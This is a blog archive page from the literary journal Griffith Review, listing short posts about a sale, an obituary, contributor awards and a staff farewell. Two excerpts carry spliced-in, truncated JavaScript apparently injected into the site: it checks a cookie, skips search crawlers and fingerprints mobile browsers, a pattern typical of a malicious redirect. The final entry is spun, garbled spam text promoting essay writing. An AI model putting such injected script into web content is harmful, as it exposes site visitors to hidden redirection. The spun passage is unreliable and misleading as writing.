Posts by Jerath Head
MASSIVE half-price sale
It’s time for the Griffith Review massive sale! For two weeks only we’re offering 50 per cent off ALL Griffith Review print and digital editions published before 2014! That’s editions 1 to 42. Select your editions from our online store and enter SALE50 in the promocode box at the checkout.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s…
Read More1938 – 2014
The great Australian writer Morris Lurie has died in Melbourne at the age of 75. Mr Lurie was a favorite of the REVIEW not least because of the way he reached across the generations. Younger members of our team grew up reading his children’s books in the 1980s, the most fondly remembered of which was…
Read MoreDownload free ebook
When We Were Kings is a free bonus ebook of journalism and stories about journalism created to accompany Griffith REVIEW 45: The Way We Work. The ebook is dedicated to jailed Australian journalist, Peter Greste and his colleagues, who were given long prison terms by an Egyptian court for doing their jobs. Features Sonya Voumard, Kathryn Knight, Phil…
Read MoreDr Fiona Paisley wins Magarey Medal for Biography
Check out where it began, as Professor Paisley first wrote about Aboriginal activist Anthony Martin Fernando in Griffith REVIEW6: Our Global Face in her essay ‘Into Self-Imposed Exile’.
Read MoreFarewell to Paul Thwaites
After eleven years managing the production of all forty-five editions of Griffith REVIEW – including several iterations of the website, countless posters, bookmarks, flyers – Production Manager Paul Thwaites has decided it is time to go fishing. Paul has been an essential member of the Griffith REVIEW team since the start and will be greatly…
Read MoreLiars, Witches and Trolls
Congratulations to Mary Delahunty whose new book about Julia Gillard, Gravity: Inside the PM’s office during her last year and final days, is being launched on 2 July in Melbourne. If you want to get a taste, read Mary’s terrific essay from Griffith REVIEW 40: WOMEN & POWER, ‘Liars, witches and trolls‘.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a…
Read MoreCongratulations to Griffith REVIEW contributors
Congratulations to Griffith REVIEW contributors who have been recognised in this year’s Queen’s Birthday Honours List:Tom Griffiths AO for distinguished service to tertiary education, particularly social, cultural and environmental history, and through popular and academic contributions to Australian literature.Tony Wheeler AO for distinguished service to business and commerce as a p ublisher of travel guides, and as…
Read MorePacific Highways writer selected for prestigious program
Griffith REVIEW 43: Pacific Highways contributor, Alison Wong, has been selected to take part in a writers’ exchange with China to work on a memoir inspired by her Pacific Highways essay. She will be the first New Zealand writer to join the prestigious Shanghai International Writers’ Program. About eight writers from all over the world are selected each…
Read MoreCongratulations Kris Olsson & Ashley Hay
Kris Olsson was joint winner of the Douglas Stewart Prize for Non-Fiction for her masterful and heartrending book, Boy, Lost. Ashley Hay took out the People’s Choice Award for The Railwayman’s Wife.
Read MoreExclusive events with Lloyd Jones
Griffith REVIEW hosted two very special events in April with author Lloyd Jones. The first, a special Pacific Highways event at the State Library of Queensland on 10 April 2014 can be viewed here. The second, a very successful webinar ‘What to write about: the authenticity of the writers’ voice.’ can be viewed here.
Read MoreHotel Royale on Liverpool
Recently the redevelopment of Tasmania’s main hospital was put on hold for up to six months while the troubled $586 million project is reviewed. Danielle Wood wrote an essay for Griffith REVIEW 39: Tasmania – The Tipping Point? from a very personal perspective with great insight into the daily happenings at the ‘Hotel Royale’. Read Hotel Royale…
Read MoreTHE FUTURE OF Reproduced Guides In Your Virtual Grow older For longer than 500 years, reproduced novels have already been the principal and undisputed moderate by which insight is moved, material are pay for essay, beliefs are expressed, and also which legal guidelines are codified. Acquiring been formulated within the fifteenth century by Johannes Gutenberg,…
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